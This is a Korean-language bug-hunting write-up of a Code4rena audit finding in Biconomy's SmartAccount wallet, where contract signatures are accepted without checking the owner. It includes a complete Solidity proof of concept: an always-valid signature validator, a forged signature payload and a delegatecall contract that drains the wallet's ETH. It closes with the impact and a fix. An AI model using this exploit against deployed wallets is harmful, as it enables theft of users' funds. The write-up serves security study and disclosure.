code4rena-2023-01-biconomy-h04
[H-04] Arbitrary transactions possible due to insufficient signature validation
Summary
Signature를 제대로 확인하지 않아 인증을 우회하고 SmartWallet에게 트랜잭션을 호출시킬 수 있다.
Keyword
arbitrary contract call, input validation, signature
Vulnerability
- contracts/smart-contract-wallet/SmartAccount.sol#L218
- contracts/smart-contract-wallet/SmartAccount.sol#L342
다음은 checkSignatures 함수이다. 이 함수에서 SmartAccount에 트랜잭션을 요청했을 시 signature를 확인한다.
(v, r, s) = signatureSplit(signatures, i);
if(v == 0) {
_signer = address(uint160(uint256(r)));
require(uint256(s) >= uint256(1) * 65, "BSA021");
require(uint256(s) + 32 <= signatures.length, "BSA022");
uint256 contractSignatureLen;
assembly {
contractSignatureLen := mload(add(add(signatures, s), 0x20))
}
require(uint256(s) + 32 + contractSignatureLen <= signatures.length, "BSA023");
assembly {
contractSignature := add(add(signatures, s), 0x20)
}
require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
}
else if(v > 30) {
_signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v - 4, r, s);
require(_signer == owner, "INVALID_SIGNATURE");
} else {
_signer = ecrecover(dataHash, v, r, s);
require(_signer == owner, "INVALID_SIGNATURE");
}signature를 split한 후 필드를 확인한다. v == 0인 경우에는 다른 케이스와는 다르게 require(_signer == owner, "INVALID_SIGNATURE"); 확인을 하지 않는다. v == 0인 경우 서명을 EOA가 아닌 컨트랙트에서 했다는 의미이다. 따라서 해당 주소로 컨트랙트콜을 하여 require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024"); 를 확인한다.
Wallet의 소유자가 컨트랙트인 경우 예외처리. 이건 좋다. 서명 검증 로직을 자체적으로 추가하고 싶다면 이 기능을 이용할 수 있겠다. isValidSignature 함수에서는 원하는 검증을 추가적으로 한 뒤 옳다면 EIP1271_MAGIC_VALUE 값을 리턴하면 된다.
하지만, 이 _signer 가 정말로 Wallet의 소유자인지 확인하는 코드는 존재하지 않는다는 점이 문제이다. isValidSignature 함수는 _signer 컨트랙트의 제작자가 만드는 함수이다. 컨트롤이 전적으로 _signer 주소의 컨트랙트에게 있다.
즉, 공격자가 컨트랙트를 이용해 서명한 후 SmartWallet.execTransaction 를 호출한다면 checkSignatures 에서는 공격자의 컨트랙트가 SmartWallet의 owner인지 확인하지 않는다.
다음은 PoC 사례이다.
contract DummySignatureValidator is ISignatureValidator {
function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
return 0x20c13b0b;
}
}
contract StealBalance {
function steal(address receiver) external {
payable(receiver).transfer(address(this).balance);
}
}
contract AuditTest is Test {
bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;
uint256 bobPrivateKey = 0x123;
uint256 attackerPrivateKey = 0x456;
address deployer;
address bob;
address attacker;
address entrypoint;
address handler;
SmartAccount public implementation;
SmartAccountFactory public factory;
MockToken public token;
function setUp() public {
deployer = makeAddr("deployer");
bob = vm.addr(bobPrivateKey);
attacker = vm.addr(attackerPrivateKey);
entrypoint = makeAddr("entrypoint");
handler = makeAddr("handler");
vm.label(deployer, "deployer");
vm.label(bob, "bob");
vm.label(attacker, "attacker");
vm.startPrank(deployer);
implementation = new SmartAccount();
factory = new SmartAccountFactory(address(implementation));
token = new MockToken();
vm.stopPrank();
}
function test_SmartAccount_BypassAuthorization() public {
// Bob creates a wallet and adds some ETH
vm.startPrank(bob);
address proxy = factory.deployWallet(bob, entrypoint, handler);
SmartAccount wallet = SmartAccount(payable(proxy));
vm.deal(address(wallet), 1 ether);
vm.stopPrank();
// Attacker bypasses authorization on Bob's wallet by using a dummy contract validator
vm.startPrank(attacker);
StealBalance stealer = new StealBalance();
DummySignatureValidator validator = new DummySignatureValidator();
Transaction memory tx = Transaction(
address(stealer), // to
0, //value,
abi.encodeWithSelector(StealBalance.steal.selector, attacker), //data
Enum.Operation.DelegateCall, // operation
0 //targetTxGas
);
FeeRefund memory feeRefund = FeeRefund(
0, // uint256 baseGas;
0, // uint256 gasPrice; //gasPrice or tokenGasPrice
0, // uint256 tokenGasPriceFactor;
address(0), // address gasToken;
payable(0) // address payable refundReceiver;
);
uint256 batchId = 0;
uint256 nonce = 0;
// Build signature pointing to dummy validator
bytes32 r = bytes32(uint256(uint160(address(validator))));
bytes32 s = bytes32(uint256(65));
uint8 v = 0;
bytes memory signature = abi.encodePacked(r, s, v, uint256(0));
// Exec transaction
wallet.execTransaction(tx, batchId, feeRefund, signature);
// Attacker has stolen the funds
assertEq(attacker.balance, 1 ether);
vm.stopPrank();
}
}출처: PoC 코드 https://github.com/code-423n4/2023-01-biconomy-findings/issues/449
Signature 체크 조건을 우회하면서 컨트랙트 signature로 판단되도록 페이로드를 짠다. 서명자 주소 r 값은 공격자의 컨트랙트 주소로 설정한다.
// Build signature pointing to dummy validator
bytes32 r = bytes32(uint256(uint160(address(validator))));
bytes32 s = bytes32(uint256(65));
uint8 v = 0;
bytes memory signature = abi.encodePacked(r, s, v, uint256(0));공격자의 컨트랙트에는 isValidSignature 함수를 구현한다. 무조건적으로 EIP1271_MAGIC_VALUE 값을 리턴한다.
contract DummySignatureValidator is ISignatureValidator {
function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
return 0x20c13b0b;
}
}delegateCall로 steal 함수를 호출하도록 SmartWallet.execTransaction 를 호출하면 자산을 탈취할 수 있다.
contract StealBalance {
function steal(address receiver) external {
payable(receiver).transfer(address(this).balance);
}
}Impact
계정의 자산 또는 계정 탈취
- Wallet에 존재하는 모든 자산을 훔치고, 계정을 탈취하고, Wallet(Proxy)를 삭제할 수 있음 (계정의 자산 또는 계정 탈취)
- Implementation 주소를 변경하여 해당 Wallet(Proxy)의 로직을 변경하는 등
Mitigation
isValidSignature 를 호출하기 전에 _signer 가 owner 인지 확인한다.
tags: bughunting, smart contract, biconomy, account abstraction, erc4337, crypto theft, arbitrary contract call, lack-of-input-validation-vul, signature, wallet, severity high